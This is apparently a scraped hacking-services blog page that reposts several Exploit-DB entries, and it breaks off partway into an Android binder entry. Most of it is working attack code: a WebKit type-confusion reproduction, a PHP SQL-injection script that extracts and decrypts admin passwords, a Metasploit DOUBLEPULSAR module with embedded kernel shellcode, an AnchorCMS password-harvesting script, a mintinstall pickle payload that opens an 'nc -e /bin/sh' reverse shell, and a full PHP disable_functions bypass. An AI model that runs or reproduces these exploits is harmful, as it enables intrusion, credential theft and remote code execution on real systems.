<!--
VULNERABILITY DETAILS
editing/ReplaceSelectionCommnd.cpp:
```
Ref<HTMLElement> ReplacementFragment::insertFragmentForTestRendering(Node* rootEditableElement)
{
auto holder = createDefaultParagraphElement(document());
holder->appendChild(*m_fragment);
rootEditableElement->appendChild(holder); // ***2***
document().updateLayoutIgnorePendingStylesheets();
return holder;
}
[...]
ReplacementFragment::ReplacementFragment(Document& document, DocumentFragment* fragment, const VisibleSelection& selection)
: m_document(&document)
, m_fragment(fragment)
, m_hasInterchangeNewlineAtStart(false)
, m_hasInterchangeNewlineAtEnd(false)
{
if (!m_fragment)
return;
if (!m_fragment->firstChild())
return;
RefPtr<Element> editableRoot = selection.rootEditableElement(); // ***1***
ASSERT(editableRoot);
if (!editableRoot)
return;
[...]
RefPtr<StyledElement> holder = insertFragmentForTestRendering(editableRoot.get());
```
html/shadow/SliderThumbElement.cpp
```
RefPtr<HTMLInputElement> SliderThumbElement::hostInput() const
{
// Only HTMLInputElement creates SliderThumbElement instances as its shadow nodes.
// So, shadowHost() must be an HTMLInputElement.
return downcast<HTMLInputElement>(shadowHost()); // ***3***
}
```
I noticed this behavior when I was debugging the test case for
https://bugs.webkit.org/show_bug.cgi?id=199146. When the currently focused element is an <input>,
`selection.rootEditableElement()` in [1] might point to a node inside the <input>'s user-agent
shadow DOM tree. Then `insertFragmentForTestRendering` is called, which might have side effects,
e.g., if the inserted fragment contains an <iframe> element its "onload" handler will be called
synchronously, and it's possible to reach the user-agent shadow root object by following the
ancestor chain from the <iframe>.
When an attacker has access to the shadow root, she can use it to leak other elements that are only
intended for internal use and have less strict security checks. For example, `SliderThumbElement`
doesn't check that its host element is an <iframe> in [3], so the attacker can turn this bug into a
type confusion vulnerability.
VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)
REPRODUCTION CASE
-->
<body>
<script>
input = document.body.appendChild(document.createElement('input'));
input.focus();
handler = event => {
shadow_root = event.target.parentNode.parentNode.parentNode;
input.type = 'range';
elt = shadow_root.firstChild.firstChild.firstChild;
input.remove();
elt.remove();
evt = new MouseEvent('mouseup');
div = document.createElement('div');
new_shadow_root = div.attachShadow({mode: 'open'});
new_shadow_root.appendChild(elt);
elt.dispatchEvent(evt);
}
document.execCommand('insertHTML', false, '<iframe src="about:blank" onload="handler(event)"></iframe>');
</script>
</body>
<!--
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
-->
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863594883
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
VULNERABILITY DETAILS
```
void FrameLoader::detachChildren()
{
[...]
SubframeLoadingDisabler subframeLoadingDisabler(m_frame.document()); // ***1***
Vector<Ref<Frame>, 16> childrenToDetach;
childrenToDetach.reserveInitialCapacity(m_frame.tree().childCount());
for (Frame* child = m_frame.tree().lastChild(); child; child = child->tree().previousSibling())
childrenToDetach.uncheckedAppend(*child);
for (auto& child : childrenToDetach)
child->loader().detachFromParent();
}
```
When a cached page is being restored, and the page that's being navigated away is not cacheable,
there exists a time frame during which two documents are attached to the same frame. If an attacker
finds a way to run JS during this time frame, she will be able to use one of the documents to
execute JavaScript in the context of the other one.
One possible call stack that might lead to JS execution is:
```
a child frame's unload handler
...
ContainerNode::disconnectDescendantFrames()
Document::prepareForDestruction()
FrameLoader::clear()
FrameLoader::open()
```
By the time `FrameLoader::clear` is called, child frames are usually already disconnected from the
document via
```
FrameLoader::detachChildren()
FrameLoader::setDocumentLoader()
FrameLoader::transitionToCommitted()
```
However, the attacker can initiate a new page load inside `detachChildren` to bypass
`SubframeLoadingDisabler` and create a new child frame. Note that it won't cancel the cached page
load.
The attack has a restriction that significantly limits its applicability -- a victim page should
load a (potentially sandboxed) <iframe> with attacker-controlled content, so the attacker's JS has
a chance to run inside `Document::prepareForDestruction`. This is the case, for example, for online
translators.
VERSION
WebKit revision 246194
It's unclear whether the bug is exploitable in Safari 12.1.1. The repro case seem to have an issue
with a nested `showModalDialog` call.
REPRODUCTION CASE
The test case again relies on `showModalDialog` to perform synchronous page loads. Moreover, the
code is wrapped inside a `showModalDialog` call to keep a user gesture token active throughout its
execution.
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47453.zip
#!/usr/bin/php
/*
# Exploit Title: Detrix EDMS cleartext user password remote SQLI exploit
# Google Dork:
# Date: Jul 2019
# Exploit Author: Burov Konstantin
# Vendor Homepage: forum.detrix.kz
# Software Link:
https://www.documentov.com/index.php?route=document/search&search=1.2.3.1505.zip&page=1&limit=20&document_uid=3d7bae5a-c2e5-11e8-9ed8-b7ed7eb0f5bb
# Version: any
# Tested on: Detrix 1.2.3.1505
*/
<?php
/*---------------------------CHANGE-ME--------------------------------*/
$URL = "http://192.168.56.6"; // Set URL for the target host
$user_id = 0; // 0 - Default admin ID
/*--------------------------------------------------------------------*/
$banner = "Exploiting SQLi vuln and password decrypting for Detrix\n".
"http://forum.detrix.kz\nhttps://github.com/sadshade/Detrix-Passwords-PoC \n".
"sad.2.shade@mail.com, 2019.\n\n";
// SQLi request
$sql_req =
"login' AND 99=CAST('a__'||(SELECT COALESCE(CAST(password AS ".
"CHARACTER(10000)),(CHR(32))) FROM manuscript.ref_system_users OR".
"DER BY id OFFSET " . $user_id . " LIMIT 1)::text||'__a' ".
"AS NUMERIC) AND 'a'='a";
$data = array('password' => 'pass',
'login' => $sql_req);
$options = array(
'http' => array(
'header' => "Content-type: application/x-www-form-urlencoded\r\n",
'method' => 'POST',
'content' => http_build_query($data)
)
);
// Key from %detrix%/system/utils/MSF_string.php
$sSuperDuperSecretKey =
"!-eeflslskdjfla;456864~}{fjkdlswkfkll@#$%#$9f0sf8a723#@";
echo $banner;
try {
$context = stream_context_create($options);
echo "Send SQLi to $URL...\n";
$result = file_get_contents($URL, false, $context);
} catch (Exception $e) {
echo 'Error: ', $e->getMessage(), "\n";
}
if ($result != "") {
if (preg_match("/\"a__(.+)__a\"/", $result, $encrypted_pass) == 1) {
$clear_pass = trim(
openssl_decrypt(base64_decode($encrypted_pass[1]),
"BF-ECB", $sSuperDuperSecretKey,
OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING)
); // Decrypt pass
echo "Pass for User id $user_id: $clear_pass \n";
} else echo "Error: no such User id:$user_id or empty password!\n";
} else echo "Error: empty Response or error!\n"
?>
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::SMB::Client
MAX_SHELLCODE_SIZE = 4096
def initialize(info = {})
super(update_info(info,
'Name' => 'DOUBLEPULSAR Payload Execution and Neutralization',
'Description' => %q{
This module executes a Metasploit payload against the Equation Group's
DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.
While this module primarily performs code execution against the implant,
the "Neutralize implant" target allows you to disable the implant.
},
'Author' => [
'Equation Group', # DOUBLEPULSAR implant
'Shadow Brokers', # Equation Group dump
'zerosum0x0', # DOPU analysis and detection
'Luke Jennings', # DOPU analysis and detection
'wvu', # Metasploit module and arch detection
'Jacob Robles' # Metasploit module and RCE help
],
'References' => [
['MSB', 'MS17-010'],
['CVE', '2017-0143'],
['CVE', '2017-0144'],
['CVE', '2017-0145'],
['CVE', '2017-0146'],
['CVE', '2017-0147'],
['CVE', '2017-0148'],
['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],
['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],
['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],
['URL', 'https://github.com/countercept/doublepulsar-detection-script'],
['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],
['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']
],
'DisclosureDate' => '2017-04-14',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Privileged' => true,
'Payload' => {
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
'DisableNops' => true
},
'Targets' => [
['Execute payload', {}],
['Neutralize implant', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
},
'Notes' => {
'AKA' => ['DOUBLEPULSAR'],
'RelatedModules' => [
'auxiliary/scanner/smb/smb_ms17_010',
'exploit/windows/smb/ms17_010_eternalblue'
],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION]
}
))
register_advanced_options([
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
])
end
OPCODES = {
ping: 0x23,
exec: 0xc8,
kill: 0x77
}
STATUS_CODES = {
not_detected: 0x00,
success: 0x10,
invalid_params: 0x20,
alloc_failure: 0x30
}
def calculate_doublepulsar_status(m1, m2)
STATUS_CODES.key(m2.to_i - m1.to_i)
end
# algorithm to calculate the XOR Key for DoublePulsar knocks
def calculate_doublepulsar_xor_key(s)
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x & 0xffffffff # this line was added just to truncate to 32 bits
end
# The arch is adjacent to the XOR key in the SMB signature
def calculate_doublepulsar_arch(s)
s == 0 ? ARCH_X86 : ARCH_X64
end
def generate_doublepulsar_timeout(op)
k = SecureRandom.random_bytes(4).unpack('V').first
0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00
end
def generate_doublepulsar_param(op, body)
case OPCODES.key(op)
when :ping, :kill
"\x00" * 12
when :exec
Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))
end
end
def check
ipc_share = "\\\\#{rhost}\\IPC$"
@tree_id = do_smb_setup_tree(ipc_share)
vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")
vprint_status("Target OS is #{smb_peer_os}")
vprint_status('Sending ping to DOUBLEPULSAR')
code, signature1, signature2 = do_smb_doublepulsar_pkt
msg = 'Host is likely INFECTED with DoublePulsar!'
case calculate_doublepulsar_status(@multiplex_id, code)
when :success
@xor_key = calculate_doublepulsar_xor_key(signature1)
@arch = calculate_doublepulsar_arch(signature2)
arch_str =
case @arch
when ARCH_X86
'x86 (32-bit)'
when ARCH_X64
'x64 (64-bit)'
end
vprint_good("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")
CheckCode::Vulnerable
when :not_detected
vprint_error('DOUBLEPULSAR not detected or disabled')
CheckCode::Safe
else
vprint_error('An unknown error occurred')
CheckCode::Unknown
end
end
def exploit
if datastore['DefangedMode']
warning = <<~EOF
Are you SURE you want to execute code against a nation-state implant?
You MAY contaminate forensic evidence if there is an investigation.
Disable the DefangedMode option if you have authorization to proceed.
EOF
fail_with(Failure::BadConfig, warning)
end
# No ForceExploit because @tree_id and @xor_key are required
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
end
case target.name
when 'Execute payload'
unless @xor_key
fail_with(Failure::NotFound, 'XOR key not found')
end
if @arch == ARCH_X86
fail_with(Failure::NoTarget, 'x86 is not a supported target')
end
print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
shellcode << Rex::Text.rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
vprint_status("Total shellcode length: #{shellcode.length} bytes")
print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")
xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)
print_status('Sending shellcode to DOUBLEPULSAR')
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)
when 'Neutralize implant'
return neutralize_implant
end
case calculate_doublepulsar_status(@multiplex_id, code)
when :success
print_good('Payload execution successful')
when :invalid_params
fail_with(Failure::BadConfig, 'Invalid parameters were specified')
when :alloc_failure
fail_with(Failure::PayloadFailed, 'An allocation failure occurred')
else
fail_with(Failure::Unknown, 'An unknown error occurred')
end
ensure
disconnect
end
def neutralize_implant
print_status('Neutralizing DOUBLEPULSAR')
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])
case calculate_doublepulsar_status(@multiplex_id, code)
when :success
print_good('Implant neutralization successful')
else
fail_with(Failure::Unknown, 'An unknown error occurred')
end
end
def do_smb_setup_tree(ipc_share)
connect
# logon as user \
simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])
# connect to IPC$
simple.connect(ipc_share)
# return tree
simple.shares[ipc_share]
end
def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
# make doublepulsar knock
pkt = make_smb_trans2_doublepulsar(opcode, body)
sock.put(pkt)
bytes = sock.get_once
return unless bytes
# convert packet to response struct
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
pkt.from_s(bytes[4..-1])
return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']
end
def make_smb_trans2_doublepulsar(opcode, body)
setup_count = 1
setup_data = [0x000e].pack('v')
param = generate_doublepulsar_param(opcode, body)
data = param + body.to_s
pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
simple.client.smb_defaults(pkt['Payload']['SMB'])
base_offset = pkt.to_s.length + (setup_count * 2) - 4
param_offset = base_offset
data_offset = param_offset + param.length
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0xc007
@multiplex_id = rand(0xffff)
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
pkt['Payload']['SMB'].v['TreeID'] = @tree_id
pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id
pkt['Payload'].v['ParamCountTotal'] = param.length
pkt['Payload'].v['DataCountTotal'] = body.to_s.length
pkt['Payload'].v['ParamCountMax'] = 1
pkt['Payload'].v['DataCountMax'] = 0
pkt['Payload'].v['ParamCount'] = param.length
pkt['Payload'].v['ParamOffset'] = param_offset
pkt['Payload'].v['DataCount'] = body.to_s.length
pkt['Payload'].v['DataOffset'] = data_offset
pkt['Payload'].v['SetupCount'] = setup_count
pkt['Payload'].v['SetupData'] = setup_data
pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)
pkt['Payload'].v['Payload'] = data
pkt.to_s
end
# ring3 = user mode encoded payload
# proc_name = process to inject APC into
def make_kernel_user_payload(ring3, proc_name)
sc = make_kernel_shellcode(proc_name)
sc << [ring3.length].pack("S<")
sc << ring3
sc
end
def generate_process_hash(process)
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
proc_hash = 0
process << "\x00"
process.each_byte do |c|
proc_hash = ror(proc_hash, 13)
proc_hash += c
end
[proc_hash].pack('l<')
end
def ror(dword, bits)
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
end
def make_kernel_shellcode(proc_name)
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
# Length: 780 bytes
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" +
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" +
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" +
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" +
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" +
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" +
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" +
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" +
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" +
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" +
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" +
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" +
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
generate_process_hash(proc_name.upcase) +
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" +
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" +
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" +
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" +
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" +
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" +
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" +
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" +
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" +
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" +
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" +
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" +
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" +
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" +
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" +
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" +
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" +
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" +
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" +
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" +
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" +
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" +
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" +
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" +
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" +
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" +
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" +
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" +
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" +
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" +
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" +
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" +
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" +
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" +
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" +
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
end
def kernel_shellcode_size
make_kernel_shellcode('').length
end
end
# CVE-2019-15943
Counter-Strike Global Offensive (vphysics.dll) before 1.37.1.1 allows remote attackers to achieve code execution or denial of service by creating a gaming server and inviting a victim to this server, because a crafted map using memory corruption.
### Description:
We are need modifying class name value in our PoC for triggering this vulnerability, offset for modifying in our PoC is `0x115703`. For example add char `"="` using this offset. PoC is "mc.bsp"

For modeling situation for attack we are need next:
First step is copy mc.bsp to `C:\Program Files (x86)\Steam\steamapps\common\Counter-Strike Global Offensive\csgo\maps`;
Second step is start game with our map (mc.bsp), for this we are need turn on game console and insert in console: `map mc`.

After this steps we can see next:

I was use msec.dll (!exploitable) is a Windows debugging extension (Windbg) that provides automated crash analysis and security risk assessment [Download msec.dll](https://archive.codeplex.com/?p=msecdbg)
As you can see msec.dll checked this crash and decide that is EXPLOITABLE crash, because SEH chain is corrupted. It is means that attacker can use this vulnerability for remote code execution.
EDB Note: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47454.bsp
# Exploit Title: Information disclosure (MySQL password) in error log
# Date: 2/10/2019
# Exploit Author: Tijme Gommers (https://twitter.com/finnwea/)
# Vendor Homepage: https://anchorcms.com/
# Software Link: https://github.com/anchorcms/anchor-cms/releases
# Version: 0.12.3a
# Tested on: Linux
# CVE : CVE-2018-7251
# By default, AnchorCMS will log errors to the "/anchor/errors.log" file in the webroot of the web application. This allows malicious users to access the error log and view potentally sensitive information. Sometimes the AnchorCMS error log contains ocurrences of the MySQL error "Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log.
import re
import sys
import importlib
def get_plain(url):
try:
plain_result = requests.get(url=url)
return plain_result
except:
return None
def print_usage():
print('Usage: {0} <url>'.format(__file__))
if __name__ == '__main__':
# Ensure we have the URL
if len(sys.argv) != 2:
print_usage()
sys.exit(1)
print("* Using AnchorCMS website: " + sys.argv[1])
print("* Trying to import 'requests' module")
requests_loader = importlib.util.find_spec('requests')
requests_module_found = requests_loader is not None
if requests_module_found:
import requests
else:
print("* 'requests' module not found, please install it using pip")
print("* pip install requests")
sys.exit(1)
json_url = sys.argv[1].strip("/") + "/anchor/errors.log"
print("* Trying to get errors.log file at: {}".format(json_url))
plain_result = get_plain(json_url)
if plain_result == None:
print("* URL could not be requested, errors.log is probably not exposed")
sys.exit(1)
print("* Found data {}, trying to parse it now".format(plain_result))
lines = re.findall(r'"line":\d', plain_result.text)
print("* Found {} error entries".format(len(lines)))
passwords = re.findall(r'\[([^\[\]]*)"password"([^\[\]]*)\]', plain_result.text)
print("* Found {} passwords entries".format(len(passwords)))
for password in passwords:
print("+ {}".format(password))
# Exploit Title: mintinstall (aka Software Manager) object injection
# Date: 10/02/2019
# Exploit Author: Andhrimnirr
# Vendor Homepage: https://www.linuxmint.com/
# Software Link: mintinstall (aka Software Manager)
# Version: 7.9.9
# Tested on: Linux Mint
# CVE : CVE-2019-17080
import os
import sys
def shellCode(payload):
with open(f"{os.getenv('HOME')}/.cache/mintinstall/reviews.cache","w") as wb:
wb.write(payload)
print("[+] Start mintinstall")
if __name__=="__main__":
shellCode(f"""cos\nsystem\n(S"nc -e /bin/sh {sys.argv[1]} {sys.argv[2]}"\ntR.""")
else:
print("[!] exploit.py [IP] [PORT]")
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1
pwn("uname -a");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
The following issue exists in the android-msm-wahoo-4.4-pie branch of https://android.googlesource.com/kernel/msm (and possibly others):
There is a use-after-free of the wait member in the binder_thread struct in the binder driver at /drivers/android/binder.c.
As described in the upstream commit:
